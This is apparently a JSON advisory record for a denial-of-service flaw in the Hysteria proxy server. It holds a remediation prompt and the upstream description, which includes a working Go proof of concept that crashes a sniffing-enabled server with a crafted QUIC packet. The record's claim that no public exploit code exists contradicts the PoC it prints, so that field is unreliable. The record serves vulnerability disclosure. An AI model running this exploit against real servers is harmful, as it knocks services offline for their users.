{"answers":{"affected":"4 open source packages ship an affected version, including github.com/apernet/hysteria/core/v2 and github.com/apernet/hysteria/core.","exploited":"There is no known exploitation of GHSA-9fw6-xgg2-mq9q in the wild and no public exploit code.","fix":"No fix has been published for GHSA-9fw6-xgg2-mq9q yet. Limit exposure of the affected software until one is available.","what":"GHSA-9fw6-xgg2-mq9q is a denial of service vulnerability in github.com/apernet/hysteria/core, published on 5 May 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-9fw6-xgg2-mq9q and fix it if it is affected.\n\nWhat it is: GHSA-9fw6-xgg2-mq9q is a denial of service vulnerability in github.com/apernet/hysteria/core, published on 5 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-9fw6-xgg2-mq9q in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/apernet/hysteria/core/v2 (Go): affected all versions; no fix listed\n- github.com/apernet/hysteria/core/v2 (Go): affected all versions up to 2.8.1; no fix listed\n- github.com/apernet/hysteria/core/v2 (Go): affected all versions up to 2.8.1; no fix listed\n- github.com/apernet/hysteria/core (Go): affected all versions; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-9fw6-xgg2-mq9q/ (Markdown: https://insights.sbomify.com/GHSA-9fw6-xgg2-mq9q/index.md)","id":"GHSA-9fw6-xgg2-mq9q","markdown":"https://insights.sbomify.com/GHSA-9fw6-xgg2-mq9q/index.md","name":"GHSA-9fw6-xgg2-mq9q","record":{"aliases":["GO-2026-5288"],"analysis":{"component_type":"server_software","fix_type":"upgrade","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":true,"product_category":"Hysteria proxy server","requires_auth":"low_privilege","summary":"An authenticated attacker can crash the Hysteria server via OOM by sending a crafted QUIC packet when sniffing is enabled.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nA specially constructed quic package can crash the server OOM when the sniff is enabled.\n\n### Details\n\nWhen the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.\n\n### PoC\n```\nopenssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj \"/CN=localhost\" 2\u003e/dev/null\n```\n\nserver.yaml\n```\nlisten: :8443\ntls:\n  cert: localhost.crt\n  key: localhost.key\nauth:\n  type: password\n  password: mypassword\nsniff:\n  enable: true\noutbounds:\n  - name: my_direct\n    type: direct\n    default: true\n```\n\npoc.go\n\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/apernet/hysteria/core/v2/client\"\n)\n\nfunc main() {\n\tserverAddrStr := flag.String(\"server\", \"127.0.0.1:8443\", \"Hysteria server address\")\n\tpassword := flag.String(\"password\", \"mypassword\", \"Hysteria server password\")\n\tflag.Parse()\n\n\tserverAddr, _ := net.ResolveUDPAddr(\"udp\", *serverAddrStr)\n\tc, _, err := client.NewClient(\u0026client.Config{\n\t\tServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},\n\t})\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to connect: %v\", err)\n\t}\n\tdefer c.Close()\n                                                                                                                \n\tvar maliciousQUICPacket = []byte{                                                                                                                                                                         \n\t\t0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              \n\t\t0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             \n\t\t0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              \n\t\t0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             \n\t\t0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   \n\t} \n\n\tudpConn, err := c.UDP()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] UDP error: %v\\n\", err)\n\t}\n\ttargetAddr := fmt.Sprintf(\"8.8.8.8:443\")\n\tfmt.Printf(\"[*] Sending 'death' packet to %s...\\n\", targetAddr)\n\t_ = udpConn.Send(maliciousQUICPacket, targetAddr)\n\n\t// Wait longer to ensure packet delivery\n\ttime.Sleep(3 * time.Second)\n\tfmt.Printf(\"[+] Done.\\n\")\n}\n```\n\n### Impact\nWhen sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled","id":"GHSA-9fw6-xgg2-mq9q","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"denial_of_service","year":"2026"},"n_packages":4,"n_references":null,"packages":[{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/apernet/hysteria/core","purl":"pkg:golang/github.com/apernet/hysteria/core","source":"GO-2026-5288"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/apernet/hysteria/core/v2","purl":"pkg:golang/github.com/apernet/hysteria/core/v2","source":"GO-2026-5288"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":["2.8.1"],"package":"github.com/apernet/hysteria/core/v2","purl":null,"source":"GHSA-9fw6-xgg2-mq9q"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":["2.8.1"],"package":"github.com/apernet/hysteria/core/v2","purl":"pkg:golang/github.com/apernet/hysteria/core/v2","source":"GHSA-9fw6-xgg2-mq9q"}],"products":null,"published":"2026-05-05","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An authenticated attacker can crash the Hysteria server via OOM by sending a crafted QUIC packet when sniffing is enabled.","url":"https://insights.sbomify.com/GHSA-9fw6-xgg2-mq9q/"}